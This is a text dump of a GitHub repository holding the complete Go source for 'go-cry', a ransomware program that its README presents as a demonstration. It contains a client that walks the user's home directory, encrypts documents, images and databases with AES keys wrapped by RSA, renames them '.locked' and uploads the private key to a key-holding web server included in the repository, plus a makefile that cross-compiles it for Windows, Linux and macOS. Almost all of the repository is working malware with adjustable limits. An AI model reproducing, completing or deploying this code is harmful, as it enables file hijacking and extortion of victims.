Repository: redpois0n/cry
Branch: master
Commit: b5c4cff434fc
Files: 15
Total size: 11.0 KB
Directory structure:
gitextract_9hyt_tdb/
├── README.md
├── comms.go
├── comms_test.go
├── config.go
├── crypto_test.go
├── decrypt.go
├── encrypt.go
├── home_unix.go
├── home_windows.go
├── keys.go
├── main.go
├── makefile
├── test.docx
├── walker.go
└── web/
└── web.go
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# go-cry
>some do not seem to understand that this is not even close to being complete, and manage to build a system that processes payments for this then you are probably able to write this on their own. I could say that this was a program that encrypts some of your files and stores it on a server and you would not bother
This project was written to show how easy it is to create extremely malicious code.
Ransomware is designed to take your most loved files hostage demanding large amounts of money to unlock them.
Clone of [native-tear](https://github.com/redpois0n/native-tear/) written in Go which is a clone of [hidden-tear](https://github.com/utkusen/hidden-tear/)
## Building
go-cry consists of two parts, a webserver and the client software.
Output files will be placed in `./bin/`
Built with linker flags `-w -s` to minimize file size. To further reduce the size of Go binaries, please see the [UPX project](https://upx.github.io/)
### Building client and webserver
```
$ make
```
Will create the files
- `./bin/web[.exe]`
- `./bin/cry[.exe]`
### Building client for all common operating systems and architectures
```
$ make all
```
Will create the files
- `./bin/windows_amd64.exe`
- `./bin/windows_x86.exe`
- `./bin/linux_amd64`
- `./bin/linux_x86`
- `./bin/macos` (amd64)
### Cleaning
Will remove all files in the bin directory
```
$ make clean
```
# Configuring
### Web server
See [web/web.go](web/web.go) and modify the constant values. They are commented and straight forward.
### Client
See [config.go](config.go) and modify the constant values.
If modifying the RSA key size variable `Bits`, please see `EncryptedHeaderSize`. RSA ciphertext length changes depending on key size used and it is not calculated at runtime.
# This program does not
- Demand any money from the user. It simply encrypts the amount of files specified in [config.go](config.go)
constant `ProcessMax` and sends it to the server. Encrypt your files and store your encryption key on your
server.
================================================
FILE: comms.go
================================================
package main
import (
"crypto/rsa"
"io"
"net/http"
"net/url"
)
// PostKey sends the private key to the remote serrver
func PostKey(priv *rsa.PrivateKey, id string) error {
key := Stringify(priv)
_, err := http.PostForm(UploadEndpoint, url.Values{
"k": {key},
"i": {id},
})
return err
}
func GetKey(id string) (*rsa.PrivateKey, error) {
req, err := http.PostForm(RetrieveEndpoint, url.Values{
"i": {id},
})
if err != nil {
return nil, err
}
key := make([]byte, req.ContentLength)
io.ReadFull(req.Body, key)
priv, err := DecodeKey(key)
return priv, err
}
================================================
FILE: comms_test.go
================================================
package main
import (
"fmt"
"testing"
)
func TestComms(t *testing.T) {
fmt.Println("Generating key...")
priv := Generate()
str := Stringify(priv)
fmt.Println(str)
fmt.Println("Uploading...")
err := PostKey(priv)
if err != nil {
panic(err)
}
fmt.Println("Key uploaded")
fmt.Println("Retrieving key...")
priv, err = GetKey()
if err != nil {
panic(err)
}
fmt.Println(Stringify(priv))
}
func TestServer(t *testing.T) {
fmt.Println("Sending the same key twice...")
priv := Generate()
PostKey(priv)
PostKey(priv)
}
================================================
FILE: config.go
================================================
package main
// Extensions to walk
var Extensions = [...]string{
"txt",
"doc",
"docx",
"xls",
"xlsx",
"ppt",
"pptx",
"odt",
"jpg",
"png",
"csv",
"sql",
"mdb",
"sln",
"php",
"asp",
"aspx",
"html",
"xml",
"psd",
}
// IgnoreDirs will skip directories that contains the string
var IgnoreDirs = [...]string{
"AppData",
".",
}
const (
// LockedExtension to append to file name when encrypted
LockedExtension = ".locked"
// ProcessMax X files, then stop
ProcessMax int = 1
// KeySize in bytes (AES-256)
KeySize int = 32
// Bits Keypair bit size (higher = exponentially slower)
Bits int = 1024
// EncryptedHeaderSize I don't know how to calculate the length of RSA ciphertext, but with KeySize + aes.BlockSize it'll be 128 bytes
// Check this if changing AES keysize or RSA bit size
EncryptedHeaderSize int = 128
// Endpoint web server URL
UploadEndpoint = "http://localhost:1312/upload"
RetrieveEndpoint = "http://localhost:1312/retrieve"
)
================================================
FILE: crypto_test.go
================================================
package main
import (
"testing"
)
func TestCrypto(t *testing.T) {
file := "test.docx"
priv := Generate()
encrypt(file, priv)
decrypt(file+LockedExtension, priv)
}
================================================
FILE: decrypt.go
================================================
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"io/ioutil"
"crypto/sha256"
"strings"
)
func decrypt(file string, priv *rsa.PrivateKey) {
data, err := ioutil.ReadFile(file)
if err != nil {
panic(err)
}
header := data[:EncryptedHeaderSize]
label := []byte("")
header, err = rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, header, label)
if err != nil {
panic(err)
}
key := header[:KeySize]
iv := header[KeySize : KeySize+aes.BlockSize]
data = data[EncryptedHeaderSize:]
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
cipher := cipher.NewCFBDecrypter(block, iv)
cipher.XORKeyStream(data, data)
if strings.HasSuffix(file, LockedExtension) {
file = file[:len(file)-len(LockedExtension)]
}
ioutil.WriteFile(file, data, 0777) // TODO
}
================================================
FILE: encrypt.go
================================================
package main
import (
"crypto/rsa"
"io/ioutil"
"crypto/aes"
"crypto/rand"
"crypto/cipher"
"crypto/sha256"
)
func encrypt(file string, priv *rsa.PrivateKey) {
data, err := ioutil.ReadFile(file)
if err != nil {
panic(err)
}
key := make([]byte, KeySize)
rand.Read(key)
iv := make([]byte, aes.BlockSize)
rand.Read(iv)
header := append(key, iv...)
pub := priv.PublicKey
label := []byte("")
header, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, &pub, header, label)
if err != nil {
panic(err)
}
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
cipher := cipher.NewCFBEncrypter(block, iv)
cipher.XORKeyStream(data, data)
data = append(header, data...)
ioutil.WriteFile(file+LockedExtension, data, 0777)
}
================================================
FILE: home_unix.go
================================================
// +build !windows
package main
import (
"os"
)
func GetHomeDir() string {
return os.Getenv("HOME")
}
================================================
FILE: home_windows.go
================================================
package main
import (
"os"
)
func GetHomeDir() string {
home := os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH")
if home == "" {
home = os.Getenv("USERPROFILE")
}
return home
}
================================================
FILE: keys.go
================================================
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
)
// Generate new RSA keypair
func Generate() *rsa.PrivateKey {
priv, err := rsa.GenerateKey(rand.Reader, Bits)
if err != nil {
panic(err)
}
return priv
}
// Stringify private key
func Stringify(priv *rsa.PrivateKey) string {
privateKeyDer := x509.MarshalPKCS1PrivateKey(priv)
privateKeyBlock := pem.Block{
Type: "RSA PRIVATE KEY",
Headers: nil,
Bytes: privateKeyDer,
}
return string(pem.EncodeToMemory(&privateKeyBlock))
}
// DecodeKey
func DecodeKey(key []byte) (*rsa.PrivateKey, error) {
block, _ := pem.Decode([]byte(key))
priv, err := x509.ParsePKCS1PrivateKey(block.Bytes)
return priv, err
}
================================================
FILE: main.go
================================================
package main
import (
"fmt"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"encoding/hex"
"io/ioutil"
"os"
"strings"
)
// GenerateID generates the unique identifier
func GenerateID() string {
r := make([]byte, 32)
rand.Read(r)
hash := sha256.New()
return hex.EncodeToString(hash.Sum(r))
}
func main() {
idFile, err := os.Open("id.txt")
var priv *rsa.PrivateKey
shouldEncrypt := false
// File exists, read id and get key from server
if err == nil {
idBytes, err := ioutil.ReadAll(idFile)
idFile.Close()
if err != nil {
panic(err)
}
id := string(idBytes)
id = strings.Split(id, "\r\n")[1]
GetKey(id)
} else {
fmt.Println("generating keypair...")
priv = Generate()
shouldEncrypt = true
}
fmt.Println()
fmt.Println(Stringify(priv))
startWalk := GetHomeDir()
Walk(startWalk, func(filePath string, fileInfo os.FileInfo, isEncrypted bool) {
fmt.Println(filePath, "encrypted", isEncrypted)
if shouldEncrypt && !isEncrypted {
encrypt(filePath, priv)
} else if isEncrypted {
decrypt(filePath, priv)
}
})
if shouldEncrypt {
id := GenerateID()
PostKey(priv, id)
data := "# Do not modify this file, it contains your ID matching the encryption key\r\n" + id
ioutil.WriteFile("id.txt", []byte(data), 0777)
}
}
================================================
FILE: makefile
================================================
BUILD=go build -ldflags="-w -s"
default: build
build:
@echo "Building cry..."
$(BUILD) -o bin/cry.exe
@echo "Building server..."
cd web/ && $(BUILD) -o ../bin/web.exe
clean:
@rm -rf bin/
@rm -f debug debug.test web/debug web/debug.test
all:
GOOS=windows GOARCH=amd64 $(BUILD) -o bin/windows_amd64.exe
GOOS=windows GOARCH=386 $(BUILD) -o bin/windows_x86.exe
GOOS=linux GOARCH=amd64 $(BUILD) -o bin/linux_amd64
GOOS=linux GOARCH=386 $(BUILD) -o bin/linux_x86
GOOS=darwin GOARCH=amd64 $(BUILD) -o bin/macos
================================================
FILE: test.docx
================================================
test filew
================================================
FILE: walker.go
================================================
package main
import (
"fmt"
"os"
"path/filepath"
"strings"
)
// Walk recursively walks the input directory and applies all rules (extensions, limits etc)
func Walk(startPath string, callback func(filePath string, fileInfo os.FileInfo, isEncrypted bool)) {
var count int
filepath.Walk(startPath, func(filePath string, fileInfo os.FileInfo, err error) error {
if err != nil {
fmt.Println("error", err.Error())
return nil
}
var proceed bool
for _, v := range Extensions {
if strings.HasSuffix(filePath, v) || strings.HasSuffix(filePath, LockedExtension) {
proceed = true
break
}
}
for _, v := range IgnoreDirs {
if strings.Contains(filepath.Dir(filePath), v) {
proceed = false
break
}
}
if proceed && count < ProcessMax {
count++
isEncrypted := strings.HasSuffix(filePath, LockedExtension)
callback(filePath, fileInfo, isEncrypted)
}
return nil
})
}
================================================
FILE: web/web.go
================================================
package main
import (
"fmt"
"log"
"net/http"
)
const (
// Address server listening address
Address = ":1312"
// UploadRoute key uploading path
UploadRoute = "/upload"
// RetrievalRoute
RetrievalRoute = "/retrieve"
)
// Pair private key and computer id
type Pair struct {
Id string
Key string
}
// Keys stored in memory
var Keys = []Pair{}
func main() {
http.HandleFunc(UploadRoute, handleUpload)
http.HandleFunc(RetrievalRoute, handleRetrieve)
fmt.Println("Listening on", Address)
log.Fatal(http.ListenAndServe(Address, nil))
}
func reject(w http.ResponseWriter, r *http.Request, reason string) {
fmt.Println("Rejecting ", r.RemoteAddr+":", reason)
w.WriteHeader(http.StatusNotFound)
fmt.Fprint(w, http.StatusText(http.StatusNotFound))
}
func handleUpload(w http.ResponseWriter, r *http.Request) {
id := r.PostFormValue("i")
key := r.PostFormValue("k")
if r.Method != "POST" {
reject(w, r, "HTTP method is not POST, got "+r.Method)
return
}
if id == "" {
reject(w, r, "id parameter i not set or empty")
return
}
if key == "" {
reject(w, r, "key parameter k is not set or empty")
}
for _, pair := range Keys {
if pair.Id == id {
reject(w, r, "key already exists")
return
}
}
pair := Pair{Id: id, Key: key}
Keys = append(Keys, pair)
}
func handleRetrieve(w http.ResponseWriter, r *http.Request) {
id := r.PostFormValue("i")
if r.Method != "POST" {
reject(w, r, "HTTP method is not POST, got "+r.Method)
return
}
if id == "" {
reject(w, r, "id parameter i is not set")
return
}
for _, pair := range Keys {
if pair.Id == id {
fmt.Fprint(w, pair.Key)
return
}
}
reject(w, r, "no key found for id "+id)
}
gitextract_9hyt_tdb/
├── README.md
├── comms.go
├── comms_test.go
├── config.go
├── crypto_test.go
├── decrypt.go
├── encrypt.go
├── home_unix.go
├── home_windows.go
├── keys.go
├── main.go
├── makefile
├── test.docx
├── walker.go
└── web/
└── web.go
SYMBOL INDEX (30 symbols across 12 files)
FILE: comms.go
function PostKey (line 11) | func PostKey(priv *rsa.PrivateKey, id string) error {
function GetKey (line 22) | func GetKey(id string) (*rsa.PrivateKey, error) {
FILE: comms_test.go
function TestComms (line 8) | func TestComms(t *testing.T) {
function TestServer (line 34) | func TestServer(t *testing.T) {
FILE: config.go
constant LockedExtension (line 35) | LockedExtension = ".locked"
constant ProcessMax (line 38) | ProcessMax int = 1
constant KeySize (line 41) | KeySize int = 32
constant Bits (line 44) | Bits int = 1024
constant EncryptedHeaderSize (line 48) | EncryptedHeaderSize int = 128
constant UploadEndpoint (line 51) | UploadEndpoint = "http://localhost:1312/upload"
constant RetrieveEndpoint (line 53) | RetrieveEndpoint = "http://localhost:1312/retrieve"
FILE: crypto_test.go
function TestCrypto (line 7) | func TestCrypto(t *testing.T) {
FILE: decrypt.go
function decrypt (line 15) | func decrypt(file string, priv *rsa.PrivateKey) {
FILE: encrypt.go
function encrypt (line 15) | func encrypt(file string, priv *rsa.PrivateKey) {
FILE: home_unix.go
function GetHomeDir (line 9) | func GetHomeDir() string {
FILE: home_windows.go
function GetHomeDir (line 7) | func GetHomeDir() string {
FILE: keys.go
function Generate (line 11) | func Generate() *rsa.PrivateKey {
function Stringify (line 22) | func Stringify(priv *rsa.PrivateKey) string {
function DecodeKey (line 34) | func DecodeKey(key []byte) (*rsa.PrivateKey, error) {
FILE: main.go
function GenerateID (line 16) | func GenerateID() string {
function main (line 25) | func main() {
FILE: walker.go
function Walk (line 11) | func Walk(startPath string, callback func(filePath string, fileInfo os.F...
FILE: web/web.go
constant Address (line 11) | Address = ":1312"
constant UploadRoute (line 14) | UploadRoute = "/upload"
constant RetrievalRoute (line 17) | RetrievalRoute = "/retrieve"
type Pair (line 21) | type Pair struct
function main (line 29) | func main() {
function reject (line 37) | func reject(w http.ResponseWriter, r *http.Request, reason string) {
function handleUpload (line 43) | func handleUpload(w http.ResponseWriter, r *http.Request) {
function handleRetrieve (line 72) | func handleRetrieve(w http.ResponseWriter, r *http.Request) {
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (13K chars).
[
{
"path": "README.md",
"chars": 2010,
"preview": "# go-cry\n\n>some do not seem to understand that this is not even close to being complete, and manage to build a system th"
},
{
"path": "comms.go",
"chars": 587,
"preview": "package main\n\nimport (\n\t\"crypto/rsa\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n)\n\n// PostKey sends the private key to the remote serr"
},
{
"path": "comms_test.go",
"chars": 543,
"preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestComms(t *testing.T) {\n\tfmt.Println(\"Generating key...\")\n\n\tpriv := G"
},
{
"path": "config.go",
"chars": 979,
"preview": "package main\n\n// Extensions to walk\nvar Extensions = [...]string{\n\t\"txt\",\n\t\"doc\",\n\t\"docx\",\n\t\"xls\",\n\t\"xlsx\",\n\t\"ppt\",\n\t\"pp"
},
{
"path": "crypto_test.go",
"chars": 171,
"preview": "package main\n\nimport (\n\t\"testing\"\n)\n\nfunc TestCrypto(t *testing.T) {\n\tfile := \"test.docx\"\n\tpriv := Generate()\n\n\tencrypt("
},
{
"path": "decrypt.go",
"chars": 825,
"preview": "package main\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"io/ioutil\"\n\n\t\"crypto/sha256\"\n\n\t\"str"
},
{
"path": "encrypt.go",
"chars": 762,
"preview": "package main\n\nimport (\n\t\"crypto/rsa\"\n\t\"io/ioutil\"\n\n\t\"crypto/aes\"\n\t\"crypto/rand\"\n\n\t\"crypto/cipher\"\n\n\t\"crypto/sha256\"\n)\n\nf"
},
{
"path": "home_unix.go",
"chars": 107,
"preview": "// +build !windows\n\npackage main\n\nimport (\n\t\"os\"\n)\n\nfunc GetHomeDir() string {\n\treturn os.Getenv(\"HOME\")\n}\n"
},
{
"path": "home_windows.go",
"chars": 186,
"preview": "package main\n\nimport (\n\t\"os\"\n)\n\nfunc GetHomeDir() string {\n\thome := os.Getenv(\"HOMEDRIVE\") + os.Getenv(\"HOMEPATH\")\n\n\tif "
},
{
"path": "keys.go",
"chars": 713,
"preview": "package main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n)\n\n// Generate new RSA keypair\nfunc G"
},
{
"path": "main.go",
"chars": 1282,
"preview": "package main\n\nimport (\n\t\"fmt\"\n\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"string"
},
{
"path": "makefile",
"chars": 519,
"preview": "BUILD=go build -ldflags=\"-w -s\"\n\ndefault: build\n\nbuild:\n\t@echo \"Building cry...\"\n\t$(BUILD) -o bin/cry.exe\n\t@echo \"Buildi"
},
{
"path": "test.docx",
"chars": 10,
"preview": "test filew"
},
{
"path": "walker.go",
"chars": 925,
"preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\n// Walk recursively walks the input directory and app"
},
{
"path": "web/web.go",
"chars": 1696,
"preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nconst (\n\t// Address server listening address\n\tAddress = \":1312\"\n\n\t//"
}
]
About this extraction
This page contains the full source code of the redpois0n/cry GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (11.0 KB), approximately 3.4k tokens, and a symbol index with 30 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.